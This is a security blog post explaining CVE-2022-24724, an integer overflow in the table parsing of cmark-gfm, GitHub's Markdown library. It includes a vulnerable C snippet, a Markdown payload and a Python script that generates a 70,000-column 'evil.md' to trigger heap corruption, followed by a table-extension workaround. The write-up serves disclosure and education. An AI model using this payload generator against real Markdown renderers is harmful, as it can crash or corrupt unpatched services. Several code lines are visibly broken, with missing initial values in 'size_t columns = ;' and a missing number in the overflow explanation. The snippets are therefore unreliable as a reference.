CVE-2022-24724 is a critical vulnerability discovered in cmark-gfm, which is GitHub's extended C implementation of the CommonMark Markdown specification. This library is widely used to render Markdown in applications, and GitHub uses it for their own Markdown processing.
A flaw in table row parsing could let remote attackers exploit the program, potentially leading to heap memory corruption, information leaks, or even remote code execution on applications that use the vulnerable library to render user-controlled Markdown.
This post will break down how this vulnerability works, demonstrate the code flaw, include steps to exploit it, and explain how to remediate or mitigate it.
The Problem
The vulnerability is triggered when parsing a table whose marker row (the line with --|---|-- under the header) contains more than UINT16_MAX (65535) columns.
Here’s the risky code extracted from the original commit diff:
size_t columns = ;
/* ...parsing logic... */
columns++;
/* ... */
table->columns = (uint16_t)columns;
If columns exceeds UINT16_MAX, it wraps around due to casting, but the code will continue allocating and processing based on the smaller, wrapped-around value, leading to buffer overflows and undefined behavior.
Here’s a sample Markdown payload that could trigger this bug (truncated for clarity)
| h1 | h2 | h3 | ... | h65536 |
| -- | -- | -- | ... | -- |
| a | b | c | ... | z |
By crafting a table row with more than 65535 columns, a user can cause row_from_string() to overflow the column count.
Vulnerable Code Snippet
// Simplified demonstration
#define UINT16_MAX 65535
void row_from_string(const char* row) {
size_t columns = ;
while (*row) {
if (*row == '|')
columns++;
row++;
}
// Oops: reducing columns to fit in uint16_t
uint16_t safe_columns = (uint16_t)columns;
// Now allocate table with columns (after overflow)
cell_t* cells = calloc(safe_columns, sizeof(cell_t)); // BAD: 'safe_columns' could be tiny!
// Continue writing into original 'columns' memory area, resulting in heap overflow
}
How Exploitation Works
When a remote attacker provides a Markdown that creates more than 65535 table columns, these steps occur:
1. Integer Overflow: The column counting variable is cast to a smaller 16-bit type (uint16_t). Any column count beyond 65535 wraps around (e.g., 65536 becomes ).
2. Heap Memory Corruption: The code allocates a tiny buffer, but still iterates through all columns, writing beyond the bounds of the buffer.
Real-World Scenarios
- Web Apps: Any platform that lets users submit Markdown that’s rendered server-side with a vulnerable cmark-gfm version (forums, chat apps, CMS, etc.)
- GitHub Actions/CI: Systems that process Markdown as part of logs or build artifacts
Exploit Example
Due to the practical difficulties (most Markdown parsers have input limits), here's an illustrative Python generator to craft the payload:
def make_evil_markdown(column_count):
header = "|" + "|".join(f"h{i}" for i in range(column_count)) + "|\n"
marker = "|" + "|".join("---" for _ in range(column_count)) + "|\n"
data = "|" + "|".join("X" for _ in range(column_count)) + "|\n"
return header + marker + data
with open("evil.md", "w") as f:
f.write(make_evil_markdown(70000)) # > UINT16_MAX
When parsed by a vulnerable cmark-gfm instance, this would cause the heap corruption.
References
- GitHub Security Advisory: GHSA-4gqq-8528-f5cw
- CVE Record: CVE-2022-24724
- cmark-gfm Release Notes
- Patch/Commit
Temporary Workaround
- Disable the table extension. Since the bug only exists in table parsing, disabling table support in cmark-gfm will prevent the vulnerability from being reachable.
// Example when initializing the parser
cmark_parser *parser = cmark_parser_new(CMARK_OPT_DEFAULT);
cmark_gfm_core_extensions_ensure_registered();
cmark_syntax_extension *table_ext = cmark_find_syntax_extension("table");
// DO NOT add table_ext to parser if you want the workaround
Conclusion
CVE-2022-24724 is a textbook case of an integer overflow leading to a heap buffer mistake, which can have serious security consequences. If you use cmark-gfm in any product that takes user markdown input, upgrade now or disable the table extension. This is especially urgent for software that processes user-provided Markdown, such as forums, chat platforms, or static site generators.
Stay safe: Update dependencies early and audit Markdown inputs!
*This post is original, written for clarity and security education. If you need more details or live code demonstrations, check the references above.*
Timeline
Published on: 03/03/2022 20:15:00 UTC
Last modified on: 04/18/2022 18:37:00 UTC